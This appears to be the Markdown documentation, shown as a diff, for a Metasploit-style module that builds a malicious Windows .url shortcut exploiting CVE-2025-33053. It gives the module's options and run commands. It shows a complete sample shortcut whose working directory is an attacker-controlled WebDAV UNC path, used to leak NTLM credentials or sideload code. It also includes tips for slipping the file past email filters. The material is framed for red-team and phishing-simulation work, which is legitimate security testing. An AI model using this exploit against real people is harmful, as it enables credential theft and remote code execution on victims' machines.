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| 1 | +## Overview |
| 2 | + |
| 3 | +This module generates a malicious `.url` Internet Shortcut file that abuses CVE-2025-33053 — a vulnerability in how Windows handles `.url` files referencing remote UNC paths (e.g., WebDAV shares). |
| 4 | + |
| 5 | +When the generated `.url` file is opened on a vulnerable Windows machine, it causes the system to connect to the specified UNC path, potentially triggering remote code execution depending on the environment and payload hosted at the target. |
| 6 | + |
| 7 | +The shortcut uses a trusted executable (e.g., iediagcmd.exe) and sets its working directory to a UNC path controlled by the attacker. |
| 8 | + |
| 9 | +## Module Information |
| 10 | + |
| 11 | +**Module Name**: auxiliary/gather/cve_2025_33053 |
| 12 | +**Authors**: |
| 13 | +- DevBuiHieu |
| 14 | + |
| 15 | +**Disclosure Date**: 2025-06-11 |
| 16 | +**License**: MSF_LICENSE |
| 17 | +**Rank**: Normal |
| 18 | + |
| 19 | +## Options |
| 20 | + |
| 21 | +| Name | Required | Description | Default Value | |
| 22 | +|-------------|----------|-------------------------------------------------------------------------|---------------------------------------------------------------| |
| 23 | +| IP | yes | The attacker IP address or domain used to generate the UNC path | N/A | |
| 24 | +| SHARE | no | WebDAV share name used in UNC path | `webdav` | |
| 25 | +| OUTFILE | no | Output filename of the generated `.url` file | `bait.url` | |
| 26 | +| EXE | no | Trusted executable to trigger (LOLBAS technique) | `C:\Program Files\Internet Explorer\iediagcmd.exe` | |
| 27 | +| ICON | no | Icon file shown in `.url` properties | `C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe`| |
| 28 | +| INDEX | no | Icon index to use | `13` | |
| 29 | +| MODIFIED | no | Timestamp-like hex value for `.url` metadata | `20F06BA06D07BD014D` | |
| 30 | + |
| 31 | +## Scenarios |
| 32 | + |
| 33 | +This module can be used in phishing simulations or red team engagements where you want to: |
| 34 | + |
| 35 | +- Deliver `.url` shortcut files that point to remote UNC WebDAV shares |
| 36 | +- Trigger Windows to authenticate to your WebDAV server (NTLM leak) |
| 37 | +- Leverage DLL hijacking or EXE sideloading via UNC path |
| 38 | +- Test user awareness or email filtering against `.url` payloads |
| 39 | + |
| 40 | +## Example Usage |
| 41 | + |
| 42 | +``` |
| 43 | +use auxiliary/gather/cve_2025_33053 |
| 44 | +set IP 192.168.1.100 |
| 45 | +run |
| 46 | +``` |
| 47 | + |
| 48 | +Optionally: |
| 49 | + |
| 50 | +``` |
| 51 | +set SHARE payloads |
| 52 | +set EXE "C:\Program Files\Internet Explorer\iediagcmd.exe" |
| 53 | +set OUTFILE bait.url |
| 54 | +run |
| 55 | +``` |
| 56 | + |
| 57 | +## Output |
| 58 | + |
| 59 | +Creates a file like: |
| 60 | + |
| 61 | +``` |
| 62 | +[InternetShortcut] |
| 63 | +URL=C:\Program Files\Internet Explorer\iediagcmd.exe |
| 64 | +WorkingDirectory=\\192.168.1.100\webdav\ |
| 65 | +ShowCommand=7 |
| 66 | +IconIndex=13 |
| 67 | +IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe |
| 68 | +Modified=20F06BA06D07BD014D |
| 69 | +``` |
| 70 | + |
| 71 | +## References |
| 72 | + |
| 73 | +- https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept |
| 74 | +- https://nvd.nist.gov/vuln/detail/CVE-2025-33053 |
| 75 | +- https://lolbas-project.github.io |
| 76 | +- https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053 |
| 77 | + |
| 78 | +## Notes |
| 79 | + |
| 80 | +- WebDAV server must be accessible to the victim (port 80 open) |
| 81 | +- Windows Defender or SmartScreen may block behavior in patched systems |
| 82 | +- `.url` files may need to be zipped to bypass email filters |
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